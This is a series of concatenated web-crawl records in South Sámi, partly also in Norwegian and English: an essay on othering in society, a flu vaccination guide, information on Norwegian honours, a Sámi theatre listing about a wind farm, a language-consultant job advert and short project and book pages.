bijjemes daltesisnie. Akte vuesiehtimmie lea nasjonaliteete: byögkeles soptsestallemisnie jïjnje fokuse daaroenvoetese goh kategorije. Seamma tïjjen jeenjesh mah ajve ånnetjilaakan jïjtsh daaroenvoeten bijjelen ussjededtieh sijjen aarkebiejjien. Easkah gosse naakenh mijjem daaroenvoeten måjhtajehtieh bïjre, mijjieh dan bijjelen ussjedadtebe, vuesiehtimmien gaavhtan gosse guessieh ålkoelaanteste.\nMan daamtaj akte almetje måjhtajehtemem åådtje joekehtsekategorijen bïjre, jeerehte. Vuesiehtimmie daaroenvoetine dam tjïelkelaakan vuesehte. Akte almetje man guelmie ij vååjnh goh daaroen, vuesiehtimmien gaavhtan almetje mïrhke njaltjine, sijhtieh daamtaj joekehtsem daaroen – ij daaroen dååjredh – goh akte almetje mij lea tjoevkes jïh maahta «daaroen vååjnedh». Akte tjïelke vuekie guktie daate sjugniehtåvva, lea gyhtjelassi tjïrrh mubpijste mejtie lea daaroen – gyhtjelassh mejtie almetjh veelkeslaaketje njaltjinejïh hijvenlaakan daaroestieh, sagke sveekesåbpoe åadtjoeh.\nDaate vuesiehtimmie aaj vuesehte guktie dïhte mij vuajnelge goh iemie, ij vïhtesjadteme sjïdth, mearan dïhte mij vuajnelge goh jeatjahlaakan, vïhtesjadteme sjædta. Vuesiehtimmie maahta aaj vuesiehtidh guktie almetjh dåehkiej bïjre ussjedieh ij leah statiske, men læjhkan naan soejme jorkese. Jalhts nöörjen årrojh leah vielie klaeriedihks sjïdteme doh minngemes 50 jaepieh, annje veelkes njaltja\/veelkesvoete vuajnelge goh dïhte iemie. Men dagke læjhkan almetjh dam utnieh goh vaenebe iemie daelie goh aarebi.\nMubpiedehteme sæjhta joekehts årrodh, jearohke mejtie kategoriji bïjre soptsesåvva mah våajnoes jïh ov-våajnoes joekehtsh våaroeminie utnieh. Njaltjaklaerie jïh gelliesåarhts funksjovneheaptoeh leah våajnoes, seamma tïjjen goh almetje ij nuepiem utnieh dam jïjtje veeljedh.\nStruktuvre jïh aktööre\nMij mubpiedehteme seabradahkedaltesisnie sæjhta jiehtedh dåehkie- jïh indivijdedaltesisnie, lea jearohke guktie fïereguhte vaestede. Maehtebe maam joem jiehtedh dej dåajvoej jïh åssjaldahki bïjre mejtie fïereguhte dååjroe mubpiedehtemen bïjre seabradahkedaltesisnie, goh almetjh provne njaltjine daamtajåbpoe gihtjesåvva gubpede båetieh goh almetjh tjoevkes njaltjine. Men guktie almetjh disse reageerieh, jeerehte. Seammalaakan jeerehte maam ulmide akte dåehkie beaja dagkeres mubpiedehtiemasse, jïh guktie dovne aktegsalmetjh jïh dåehkieh disse vaestiedieh.\nMinngemes tïjjen aktem jårrehtimmiem dagkeres aktööreperspektijven vööste vuejnebe, gosse jienebh tuhtjieh vihkeles joekehts vaastahtahkh åadtjodh seabradahken mubpiedehtiemasse. Akte vuesiehtimmie lea Sune Qvotrup Jensenen goerehtimmie noere etnihkeles unnebelåhkoeålmijste Danmarhkesne (Jensen 2011). Dïhte göökte joekehts vaestiedassh gaavna seabradahken mubpiedehtiemasse: kapitaliseereme posisjovnese goh doh mubpieh sjïdtedehtemem tjïrrh ghetto- jïh gangsterekultuvreste dennie aktene bielesne, jïh mubpene bielesne hiejhteme vuestiebieleste mijjieh-doh mubpieh, viehkine jïjtjemse gaskoeh bïejedh, aktene såarhts gåalmede tjïehtjele (third-space).\nDunnie aktene bielesne seabradahken mubpiedehtemeprosessh sijhtieh maam akt årrodh man bïjre gaajhkesh seabradahkesne aktem mïelem utnieh, ij gåaredh eevre frijjelaakan aktem mïelem utnedh vuesiehtimmien gaavhtan kategorijide ålma-nyjsenæjja seabradahkesne. Akte tjïelke indivijde- jallh aktööreperspektijve ij dan åvteste naan ellies vaestiedassem vedtieh gyhtjelassese mubpiedehtemen bïjre. Mubpene bielesne doh jeenjemes daan biejjien sijhtieh ellies deterministiske vuajnoem mubpedehtiemasse ålkoestidh, guarkeme goh indivijde ij naan veeljemem utnieh mubpiedehtemen vööste. Juktie mubpiedehtemem analyseeredh lea nuhtegsommes balaansem daej göökte ålkoetsiehkiej gaskesne ohtsedidh.\nDaltesh mubpiedehtiemistie\nMubpiedehteme sjugniehtåvva ovmessie daltesinie seabradahkesne, fïerhten gaavnedimmien raejeste jeatjah almetjigujmie(mikro) seabradahken institusjovni baaktoe (meso) don bijjemes daltesen raajan; seabradahkestruktuvre jallh ellies seabradahke (makro).\nBijjemes daltesisnie – strukturelle daltese jallh ellies seabradahke–vuekide mubpiedehtiemasse gaavnebe mejtie gaajhkesh demtieh jïh gaajhkesh såemieslaakan dååjroeh. Daate lea ij goh unnemes vïedteldihkie dejtie ovmessie sïerredimmievåaroemidie njaltjaklaerie, etnisiteete, religijovne jïh jieledevuajnoe, tjoele, seksualiteete, funksjovneheaptoe, seksuelle orienteringe, tjoeleidentiteete, tjoelevuekie jïh aaltere. Stuerebe jallh unnebe graadesne gïengeles njoelkedassh daejtie joekehtsidie mijjen seabradahkesne, mah daamtaj aaj strukturelle sïerredimmiem illedahkine utnieh. Njoelkedassh maehtieh kulturelle representasjovnesne jåerhkedh, jallh maehtieh jåerhkedh ovmessie institusjovnine seabradahkesne (meso-daltese).\nMubpiedehteme relasjovnine almetji gaskem (mikro-daltese) maahta mubpiedehtemem vihtiestidh seabradahkedaltesisnie, men maahta aaj kontraastine dïsse tjåadtjodh. Akte vuesiehtimmie don minngiemasse lea åtnoe baakoste peara goh vestiesbaakoeh veelkes learohki vööste. Daate veelkes learohkh dåehkiedaltesisnie mubpiedahta, men ij seabradahken mubpiedehtemem mïrhke learoehkijstie jarkelh. Skuvle goh institusjovne maahta seammalaakan dovne seabradahken mubpiedehtemem nænnoestidh, jallh dam sturredh jallh haestedh. Maahta aaj jiehtedh skuvle jïjtse såarhts mubpiedehtemeprosessem åtna, gusnie learohkh mah nåakelaakan skuvlesne darjoeh, nåakelaakan dåemiedieh jallh eah skuvlem lyjhkh, muhpiedehteme sjidtieh.\nUnnebelåhkoe jïh jienebelåhkojne darjodh\nUnnebelåhkoe lea vaenebh årrodh. Daelie daajehtse daamtaj åtnasåvva akten sjïere unnebelåhkoen bïjre: dåehkieh seabradahkesne mah jienebelåhkoste joekehtedtieh, maaje vïedteldihkie damtsvæhtide goh etnisiteete, njaltjaklaerie, tjoele, religijovne, gïele jallh kultuvre. Baakoe unnebelåhkoelearohkh sijhtieh vuesiehtimmien gaavhtan learoehkidie vuesiehtidh mah jeatjah ietniengïelem utnieh goh daaroen jallh saemien, jallh learoehkidie sïjsevaanterdæjjaduekine.\nMearan unnebelåhkose ussjedibie goh gaertjieldihkie dåehkie, jienebelåhkoe lea doh jeatjebh, dah mah eah unnebelåhkoen damtsvæhtide utnieh. Jienebelåhkoen årrojh leah gellie joekehts dåehkieh jïh joekehtsh utnieh mah eah leah seamma vihkele, goh aevhkie dej joekehtsi åvteste mah unnebelåhkoem joekehtedtieh. Åssjaldahke jienebelåhkoen bïjre goh akte dåehkie, lea aaj illedahke baakojste jïh dahkojste, naakede maam almetjh sjugniedieh jallh darjoeh. Daate naakenem skreejreme jienebelåhkojne darjodh, vuestiebieline unnebelåhkojne darjodh. Aaj åssjaldahke unnebelåhkoen bïjre goh akte dåehkie, giehpiedimmiem gellie joekehtsijstie dåehkien sisnjelen kreava.\nJienebelåhkojne darjodh jïh unnebelåhkojne darjodh lea vïedteldihkie jienebelåhkoen mubpiedehtiemasse unnebelåhkoste. Jienebelåhkoen «mijjieh» defineereme sjædta kontraastesne unnebelåhkose «dah». Men damtsvæhtah mah jienebelåhkoen jïh unnebelåhkoen joekehtehtieh maehtieh aaj vihkele årrodh unnebelåhkoen jïjtse identiteeten gaavhtan. Jienebelåhkose doh seamma damtsvæhtah sijhtieh daamtaj ov-våajnoes årrodh.\nLohkehtæjjide lea vihkele ij åssjaldahkesne tjöödtjestidh akten learohkedåehkien bïjre mij lea guektelen juakasovveme: unnebelåhkoe jïh jienebelåhkoe. Learohkedåehkie lea gellielaaketje jïh iktedamme, jïh faamoedynamihke dej gaskem lea daamtaj stoerre. Dovne skuvlesne goh elliesvoete jïh learohkedåehkine sæjhta dynamihkh årrodh gusnie naakenh bïejesuvvieh akten posisjovnese mij lea vueliehkåbpoe jallh unnebelåhkojne dorjesovveme. Lohkehtæjjese vihkele dagkerh dynamihkh vueptiestidh, haestedh jïh tsööpkedh.\nDïhte jeatjah tjoele jïh doh jeatjah almetjetjïerth\nGærjesne «Det andre kjønn» jaepeste 1949, Simone de Beauvoir vuesehte guktie seabradahke lea åssjaldahken bïjre tseegkesovveme nyjsenæjjan bïjre goh «dïhte mubpie». Ålma lea dïhte iemie, njoelkedasse mestie nyjsenæjja joekehtadta. Jalhts seabradahke lea vielie mïrrestalleldh sjïdteme goh lij Beauvoiren tïjjen, annje vuesiehtimmieh vuejnebe goh ålma lea dïhte iemie. Annje daerpies daamtajåbpoe politihkeren, hearran jallh dåakteren tjoelem buerkiestidh gosse dïhte lea nyjsenæjja jïh ij ålma.\nEdward Said analyseeri guktie Midtøsten jïh Asije leah \"dïhte mubpie\" Europese orreme: dïhte mij Europeste joekehtadta, jïh dan gaavhtan aaj meatan defineeredh mij Europa lea. Gærjesne «Orientalismen» jaepeste 1978 dïhte dam europan aerpievuekiem seamma nommine goerehti: europan dotkijh, tjaelijh jïh tjiehpiedæjjah mah leah «Orienten» (Midtøsten jïh Asije) buerkiestamme.Dan åejviepoenge lea daah åehpiedehtemh eah uvtemes buerebe goerkesem vedtieh dejnie suerkine mejtie buerkiestieh. Vuestelen dah uvtemes kontraastine sjidtieh Europese, jïh dan tjïrrh bööremes goerkesem Europese vedtieh. Ij leah Orientem åehpiedahteme jïjtse premissine, men goh Europan «guelmiedahke».\nGayatri Spivak daajehtsem mubpiedehteme böökti 1985, goh daajehtse raaktan mekanismide mah leah viedteldihkie Europan tsiehkide sov kolonijide.\nGayatri Spivak daajehtsem mubpiedehteme böökti 1985, goh daajehtse raaktan mekanismide mah leah vïedteldihkie Europan tsiehkide sov kolonijide. Goh Said dïhte tjïerteste guktie åehpiedehteme kolonijijstie mejtie «doh mubpieh» defineerieh goh«mijjieh», daate sæjhta jiehtedh Europa. Seamma tïjjen vuesehte guktie mubpiedehteme aaj meatan doh mubpieh defineeredh – dah kolonijinie sjidtieh kolonijefaamoej mubpiedehtemen tjïrrh. Dïhte amma mubpiedehtemem buerkeste goh guektiengïerts prosesse mij dovne kolonijefaamoem jïh kolonijestaatem defineerie, dovne «mijjieh» jïh «doh mubpieh». Spivaken mietie dellie koloniseereme almetji jïjtjegoerkese aaj sijhtieh baajnehtamme sjïdtedh daehtie mubpiedehtiemistie.\nSpivak analysem mubpiedehtiemistie kolonijestaatijste jïh mubpiedehtiemistie nyjsenæjjijste, ektede akten goerkesen mietie mubpiedehtiemistie goh multidimensjonaale prosesse. Naemhtie altese ussjedimmie tjuvtjede dïsse mij daelie gohtjesåvva gaskeseksjonaliteete (Jensen 2011, s. 65).","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/www.dembra.no\/sma\/fagtekster-og-publikasjoner\/artikler\/mijjieh-doh-mubpieh-jih-mubpiedehteme","date":"2024-02-25T09:27:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947474594.56\/warc\/CC-MAIN-20240225071740-20240225101740-00115.warc.gz","language":"sma","language_score":0.9999771118,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999771118164062}","num_words":1601,"character_repetition_ratio":0.072,"word_repetition_ratio":0.008,"special_characters_ratio":0.139,"stopwords_ratio":0.119,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Muvhth maehtieh itjmies-laakan skïem skïemtjijidh jis sohtem åadtjoeh. Dah byöroeh eeptsh-eeremes vaksijnem vaeltedh juktie buerie vaarjelimmiem daarpesjieh sohten vuestie.\nJis naemhtie, dellie byörh vaksineeredh:\n- Datne leah 65 jaepien båeries jallh båarasåbpoe.\n- Datne leah nåajsan, graviditeetevåhkoen 12 minngesne, jallh aarebi jis byörh vaksineeredh jeatjah sjïeki gaavhtan\n- Dov lea vaajmoeskïemtjelasse, vg. stroke.\n- Dov lea gåbloeskïemtjelasse, vg. itjmies astma.\n- Dov lea diabeetese.\n- Dov lea skïemtjelasse jallh daalhkesh vaaltah mestie dov kråahpe vaenie vaarjelimmiem åådtje infeksjovni vuestie.\n- Dov leah sveehkes librie jallh tjiermieh.\n- Datne buajtehks.\n- Dov lea skïemtjelassem åedtjine jallh neervine mestie gïerve voejngehth.\n- Dov leah gelliefunksjovneheaptoeh.\n- Dov lea Downs syndrome.\nByöremh leah dovne geerve almetjidie jïh maanide mah båarasåbpoe goh 6 asken båeries.\nJis dov lea stuerebe vaahra ålvas skïemtjelassem åadtjodh jeatjah sjïeki gaavhtan maahtah aaj faaleldahkem åadtjodh vaksineeredh. Dov dåaktere vierhtede jis byörh vaksineeredh.\nJis almetji luvnie årroeminie geah maehtieh itjmies-laakan skïemtjijidh byörh aaj jïjtjemdh vaksineeredh ihke dejtie vaarjelidh. Jis almetjigujmie barkh geaj lea stuerebe vaahra skïemtjijidh byörh aaj jïjtjemdh vaksineeredh.\nDaarpesjh fïerhten jaepien vaksineeredh\nGosse vaksinasjovnem vaelteme, dov lea vaarjelimmie daen jaapetje sohtevijrusen vuestie. Daarpesjh fïerhten jaepien vaksineeredh orre vijrusi vuestie.\nVaksinasjovne pneumokogkij vuestie\nJeatja vaksinasjovne aaj gååvnese maam byörh vaeltedh jis byörh vaksinasjovnem vaeltedh sohten vuestie.\nVaksinasjovne lea pneumokogkij vuestie. Pneumokogkh leah bakterijh mejstie maahtah itjmies gåbloe-ovlemem åadtjodh. Jis nåajsan, sïejhme ih daarpesjh pneumokogkij vuestie vaaksineeredh. Dov dåaktere vierhtede jis læjhkan vaksinasjovnem daarpesjh.\nGusnie maahtah vaksinasjovnem åadtjodh?\nDatne maahtah dov healsoejarngesne jallh skïemtjeståaposne vaksineeredh. Jis Syöldahtesne årroeminie, åadtjoeh eeremes sentrale vaksinasjovnejarngesne man nomme Vaccinationscentrum Skellefteå vaksineeredh.\nNaemhtie vaksineeredh\nDatne sohtevaksijnem stratjken tjïrrh åadtjoeh. Evtemes stratjkem bijjiegïetese beaja. Maanah mah nuerebe enn govhten jaepien båeries daamtaj vaksijnem ruaksjese åadtjoeh. Gååvnese aaj vaksijne mij njuanan spreejrie dovne maanide mah båarasåbpoe enn göökte jaepien båeries jïh noeride 18 jaepien raajan.\nVaksinasjovnen mænngan maahtah rååpsedidh jïh baajskodh gogka leah stratjkem åadtjome. Sïejhme aaj vaksinasjovnem damtedh. Maahtah vaejliem åadtjodh, muvhtene aaj åejjieh saejriedieh jïh åedtjieh baaktjedieh. Sïejhme aaj eah maanah sïjhth byöpmedidh dan jïjnje vaksinasjovnen mænngan juktie dej tjåejjieh skrovrestieh. Naemhtie jis akte jallh måedtie biejjieh.\nGåessie im byörh vaksineeredh?\nJis vaejliem åtnah, ih byörh jïjtjemdh vaksineeredh.\nSohtevaksijnesne munnieh. Jis ih maehtieh beapmoeh byöpmedidh mesnie munnieh allergijen gaavhtan, ih maehtieh vaksineeredh sohten vuestie.\nGåessie nåajsan jïh njammemisnie\nJis nåajsan maahtah sohteste itjmies-laakan skïemtjijidh. Byörh vaksijnem vaeltedh jis nåajsan, dellie dovne jïjtjemdh jïh dov slïedtemaanam vaarjelh.\nIj vaksijne leah healsoevaareginie dov slïedtemaanese. Vaksijne buerie vaarjelimmiem maanese vadta.\nMaahtah vaksijnem vaeltedh aaj jis njammemisnie. Datne byörh vaksineeredh gosse 12 våhkoej vaaseme dan raajeste goh nåajsan sjïdtih. Dov dåaktere maahta aaj vaksinasjovnem dutnjien faaledh jis vierhtede daerpies lea.\nMaam maaksam?\nVaksinasjovne lea namhtah dutnjien Jilliebetnien leenesne jis maahtah itjmies-laakan sohteste skïemtjijidh.\nJis almetji luvnie årroeminie geah maehtieh itjmies-laakan skïemtjijidh menh ih datne byörh jïjtjemdh vaksineeredh, vaallah læjhkan sïjhth, åasa lea 250 kråvnah.\nJis skïemtjedh\nJis datne sovhtine jïlhts leah vaksinasjovnem åadtjome dellie symptomh daamhtaj lïenede.\nÅrroeh gåetesne jis vaejlie jïh skïemtjes damth. Gossehth jïh gesjnieh gïetegaavese jïh bïssh gïetede daamhtaj guktie ih laanesth.\nJis datne almetje mij byöroeh vaksineeredh jïh sovhtem åadtjoeh edtjh hoksem gaskesadtedh.\nTsevtsieh jïh årroeh meatan dov hoksesne\nVihkeles datne guarkah maam hoksebarkijh dutnjien jiehtieh. Gihtjh daamtaj jis ih guarkoeh. Jis ih sveerjen gïelem soptsesth, maahtah aaj viehkiem aktede toelhkeste åadtjodh.\nVaeltieh vaksijnem covid-19 vuestie seamma aejkien\nJis byörh sohten vuestie vaksineeredh, byörh aaj vaksijnem covid-19:n vuestie vaeltedh. Maahtah dovne vaksijnh seamma aejkien åadtjodh. Jalhts vaksijnem åadtjome, maahtah covid-19 sohteste skïemtjijidh, vaallah jis vaksijnem vaaltah, vaenie vaahrese båatah itjmies-laakan skïemtjijidh.","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/www.1177.se\/sma-se\/Vasterbotten\/other-languages\/other-languages\/vaccination-mot-influensa---andra-sprak---vasterbotten\/","date":"2024-03-01T20:24:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947475701.61\/warc\/CC-MAIN-20240301193300-20240301223300-00179.warc.gz","language":"sma","language_score":1.0000067949,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000067949295044}","num_words":559,"character_repetition_ratio":0.094,"word_repetition_ratio":0.0,"special_characters_ratio":0.149,"stopwords_ratio":0.088,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Earoehtassemedalje vadtasåvva gosse:\n• aktem vihties jallh jeatjah sjïere barkoem dorjeme mij lea joekoen nuhteligs siebriedahkese, goh tjeahpoe, kultuvre, daejreme, jieleme, sosijaale jïh humanitære barkoe\n• joekoen vyörtegs barkoem guhkiem dorjeme man åvteste ij baalhkam åådtjeme, siebriedahkesne, byögkeles jallh privaate tjïrkijebarkosne, jïjtjevyljehke siebrine jallh jeatjah barkosne mij lea nuhteligs siebriedahkese\n• joekoen vyörtegs barkoem guhkiem åtneme privaate jallh byögkeles dïenesjisnie, jïh sagki stuerebe barkoem dorjeme goh iemie, jïh lissine aaj eadtjohke orreme siebriedahkesne\n• aktem jielededahkoem dorjeme mij maahta goh vuesiehtimmie årrodh mubpide\nSjïere veajkoej dle Gånkan earoehtassemedalje maahta gulleste årrodh.\nSt. Olaven earoevæhta\nGånka Oscar I St. Olaven earoevæhtam tseegki mïetsken 21. b. 1847, jïh minngemes aejkien staeriesovvi tsïengelen 15.b. 1997. Earoevæhta vadtasåvva goh baalhka \"hijven dïenesti åvteste maadtoelaanten jïh åålmegi gaavhtan\".\nOhtseme vedtemen bïjre Gånkan earoehtassemedaljeste jïh St. Olaven earoevæhteste, D.M. Gånkan gåajkoe seedtesåvva Fylhkenålman baaktoe dennie fylhkesne kandidaate orre.","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/www.statsforvalteren.no\/sma\/vestfold-og-telemark\/almetjh-jih-siebriedahke\/medaljh-jih-earoevahta\/","date":"2024-02-24T02:44:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947474482.98\/warc\/CC-MAIN-20240224012912-20240224042912-00439.warc.gz","language":"sma","language_score":0.999971509,"language_script":"Latn","minhash_cluster_size":29,"top_langs":"{\"sma_Latn_score\": 0.9999715089797974}","num_words":135,"character_repetition_ratio":0.085,"word_repetition_ratio":0.0,"special_characters_ratio":0.16,"stopwords_ratio":0.074,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gïedtine\n– gïen dïhte bïegke?\nGïedtine – gïen dïhte bïegke?\nGïedtine -gïen dïhte bïegke?\nNoere saemienïejte lea tjïelteståvroen tjåanghkose bööresovveme stoerre bïegkefaamoeprosjekten bïjre. Dïhte sæjhta faamohkidie tjïeltesne soptsestidh guktie tseegkeme Nöörjen stööremes bïegkefaamoevierhkeste altese jieledem, altese båetijem aejkiem jïh altese kultuvrem baajnehte.\nStuhtje lea voestesiereste ektieproduksjovne Nordland teaterinie. Daelie dam vijriebasse gïetedamme guktie tjoevkesem beaja klijmaaehpien konsekvenside don prååsehke jïh dïpmebaaletje åarjelsaemien båatsoekultuvrese, mij tjarke aajhtoen nualan båata gosse edtja saemiej aerpievuekien årromedajvine bigkedh produksjovnen gaavhtan orrestimmeles energijeste. Mij climate justice, jïjtjemem gihtjebe?\nGiedtine — gïen dihte bïegke \/ Who Owns the Wind?\nA young Sámi girl has received an invitation to the municipal council meeting about a large wind farm project. She is determined to tell the holders of power in the municipality how the establishment of Norway's largest wind farm will affect her life, her future and her culture.\nThe performance was originally co-produced with Nordland Theatre. It has been reworked to shed light on the consequences that the climate crisis will have on the vulnerable and ancient South Sámi reindeer herding culture, which is threatened when the traditional Sámi settlement territories are re-developed to produce renewable energy. What is climate justice, we ask?\nGïedtine\nhvem eier vinden?\nEn ung samejente har fått invitasjon til kommunestyrets møte om et stort vindkraftprosjekt. Hun ønsker å fortelle makthaverne i kommunen hvordan etableringen av Norges største vindkraftanlegg påvirker hennes liv, hennes fremtid og hennes kultur.\nStykket er opprinnelig en samproduksjon med Nordland teater. Det er nå bearbeidet til å sette søkelys på klimakrisens konsekvenser for den sårbare og eldgamle sørsamiske reindriftskulturen, som trues når samenes tradisjonelle bosetningsområder skal bygges ut for å produsere fornybar energi. Hva er climate justice, spør vi oss?\nVuesiehtimmie lea åarjelsaemien jïh nöörjen gïelesne. Teekste englaanten gïelese\nPlayed South-Sami and Norwegian. Subtitled in English.\nSpilles på sørsamisk og norsk. Tekstes til engelsk.\nLaavenjostoe Nordland Teaterinie\nBodø 2024, Bergesenstiftelsen jïh Saemiedigkie, Nöörjen kultuvredirektoraate – prosjektedåarjoe teatere jïh Nordlaanten fylhkentjïelte leah vuesiehtimmiem dåårjeme.\nIn cooperation with Nordland Teater\nSupported by Bodø 2024, Bergesenstiftelsen and Sámi Parliament, Art Council Norway and\nNordland County Municipality.\nSamarbeid med Nordland Teater\nStøttet av: Samfunnsløftet SpareBank 1 Nord-Norge, Bodø 2024, Bergesenstiftelsen og Sametinget, Norsk kulturdirektorat -\nprosjektstøtte teater og Nordland fylkeskommune.","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/asteatere.no\/vuesiehtimmieh\/giedtine-2\/","date":"2024-02-25T21:00:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947474643.29\/warc\/CC-MAIN-20240225203035-20240225233035-00364.warc.gz","language":"sma","language_score":0.8359497786,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.8359497785568237, \"sme_Latn_score\": 0.1184077337384224, \"nob_Latn_score\": 0.02843177504837513}","num_words":357,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.16,"stopwords_ratio":0.028,"flagged_words_ratio":0.0,"lang_id_score":0.861,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Snåasen tjïelte aktem 1\/1 barkoem åtna goh gïelekonsulente. Saemien gïelekonsulente viehkehte årroejidie dïenesjh åarjelsaemien gïelesne vedtedh tjïeltesne. Gïelekonsulente edtja viehkiehtidh vuesiehtidh, evtiedidh jïh jieliehtidh åarjelsaemien gïelem.\nBarkoe-\/ dïedtesuerkie sæjhta gaskem jeatjah årrodh;\n• Faageles dïedtem utnedh saemien gïelen åvteste\n• Dïedtem utnedh gïelebarkoem ektieöörnedh jïh tjïelten gïeleprosjektigujmie guhkiebasse barkedh\n• Evtiedidh jïh sjïehteladtedh guktie saemien åtnasåvva tjïelten reeremisnie\n• Gïelefaageles laavenjassh \/soejkesjebarkoe, jarkoestimmieh, aamhtesegïetedimmie\n• Jeatjah laavenjassh mah gïele- jïh gïele-eevtjeden råajvarimmide sjiehtieh gosse daerpies.\nBarkosne maahta aaj laavenjassine åadtjodh jarkoestidh jïh gïeledïenesjh darjodh Noerhte-Trööndelagen fylhkentjïeltese. Barkoe lea öörnedamme Åarjelsaemien gïelen jïh kultuvren ektievoeten nuelesne.\nMaahtoekrïevenassh:\n– ööhpehtimmie åarjelsaemien gïelesne jïlleskuvleste\/universiteeteste\n– væjkele govlesadtedh\n– væjkele tjaeledh jïh soptsestidh åarjelsaemien jïh nöörjen\n– væjkele laavenjostedh\nVihkeles ohtsijh hijven daajroem utnieh åarjelsaemien kultuvren bïjre\nDastegh ohtsijh formalmaahtoem fååtesieh, men maehtieh hijven realmaahtoem vihtiestidh åarjelsaemien gïelesne, dellie maehtebe dejtie vuarjasjidh dan mearan jeatjah maahtoekrïevneassh leah illeme.\nVielie bïevnesh barkoen bïjre åadtjoeh jis soptsesth raerieålmine Truls Eggen tell. 74138204 \/ 48246507 \/ Sara Marja Magga tell. 962 28 758.\nOhtsememierie 22.10.15.\nSørsamisk språkkonsulent\nSnåsa kommune har ledig 1\/1 stilling som språkkonsulent. Samisk språkkonsulent hjelper til med å betjene befolkningen på sørsamisk i kommunen.\nSpråkkonsulenten skal bidra med å synliggjøre, utvikle og vitalisere det sørsamiske språket. Arbeids- \/ ansvarsområde vil bl.a. være;\n• Faglig ansvarlig for samisk språk\n• Ansvar for koordinering av språkarbeid og oppfølging av kommunens språkprosjekter\n• Utvikle og tilrettelegge for bruk av samisk i kommuneforvaltningen\n• Språkfaglige oppgaver \/ planarbeid, oversettinger, saksbehandling\n• Andre oppgaver relevant til språk og språkfremmende tiltak etter behov.\nStillingen kan også omfatte oversetting og språktjenester for Nord- Trøndelag fylkeskommune. Stillingen er organisert under Enhet for sørsamisk språk og kultur.\nKvalifikasjonskrav:\n– utdanning i sørsamisk fra høyskole\/universitet\n– god kommunikasjonsevne\n– gode skriftlige og muntlige kunnskaper i sørsamisk og norsk\n– gode samarbeidsevner\nDet er viktig at søkere har god kjennskap til sørsamisk kultur.\nEventuelle søkere med mangelfull formalkompetanse, men som kan dokumentere god real-kompetanse i sørsamisk språk, kan bli vurdert så fremt øvrige kvalifikasjonskrav er oppfylt.\nNærmere opplysninger om stillingene fås ved henvendelse rådmann Truls Eggen tlf. 74138204 \/ 48246507 \/ Sara Marja Magga tlf. 962 28 758.\nSøknadsfrist 22.10.15.","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/gielemnastedh.no\/2015\/10\/aarjelsaemien-gielekonsulente\/","date":"2024-02-27T02:49:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947474670.19\/warc\/CC-MAIN-20240227021813-20240227051813-00880.warc.gz","language":"sma","language_score":0.9679997563,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"sma_Latn_score\": 0.9679997563362122, \"sme_Latn_score\": 0.027735581621527672}","num_words":317,"character_repetition_ratio":0.07,"word_repetition_ratio":0.0,"special_characters_ratio":0.177,"stopwords_ratio":0.054,"flagged_words_ratio":0.0,"lang_id_score":0.98,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Elgåprosjekte\nSaemien Lohkemejarnge, goevtese Elgå lea gïehtelamme bijjelen 1 jaepiem.\nLatjkoe Saemiedigkien, Saemien jïlleskuvlen jïh Engerdalen tjïelten gaskem, juktie dam åarjelsaemien barkoem aarebi Elgå skuvlesne jåerhkedh, jååhkesjamme sjïdti Trysilisnie 05.02.13. Rïhpestimmie Saemien Lohkemejarngeste, goevtese Elgå lij 06.02.13.\nBarkoelaavenjassh jïh prosjekth goevtesisnie leah åarjelsaemien teermh siebriedahkefaagese jïh matematihkese darjodh. Kvaliteete gorresåvva learoematerijelleste Elgå skuvlesne jïh iktemearan bæjhkoehtamme sjædta learoevierhtieportaalesne. Elgåbyjrese aaj meatan aktene piloteprosjektesne learoevierhtieportaalese Aktesne, mij edtja dïrregh evtiedidh juktie digitaale learoevierhtieh darjodh . Dïhte barkoe learoevierhtine \"Sïjte\" lea minngemes boelhkesne jïh varke bæjhkoehtamme sjædta. Gïelespïele New Amigos åarjelsaemien gïelesne gaervies sjïdti dæjman.","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/lohkanguovddas.no\/sma\/prosjekth\/elgaprosjekte","date":"2024-02-28T06:12:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947474697.2\/warc\/CC-MAIN-20240228044414-20240228074414-00471.warc.gz","language":"sma","language_score":0.9999933243,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999933242797852}","num_words":89,"character_repetition_ratio":0.084,"word_repetition_ratio":0.0,"special_characters_ratio":0.14,"stopwords_ratio":0.135,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjaelije\nBertije\nVaadtasovvemejaepie\n2011\nISBN\n9788273746276\nFormaate\nSïejhme gærja\nReakta-aajhtere\nReaktah\nGaajhkh reaktah leah doelehtovveme\nMennie bielesne\n111\nViehkiebaakoe\nVaajese Næjlan, staaloej jïh nåejtielaemtjien bïjre noerhte-, julev- jïh åarjelsaemiengïelesne.\nDaate vaajese Næjlan bïjre mij gaavna lïhtsestimmie-aaltoem mij sov jïh jallan buektehte vielie vaedtsedh. Kraanna-aahka maam jiehtieh væjkelåbpoe 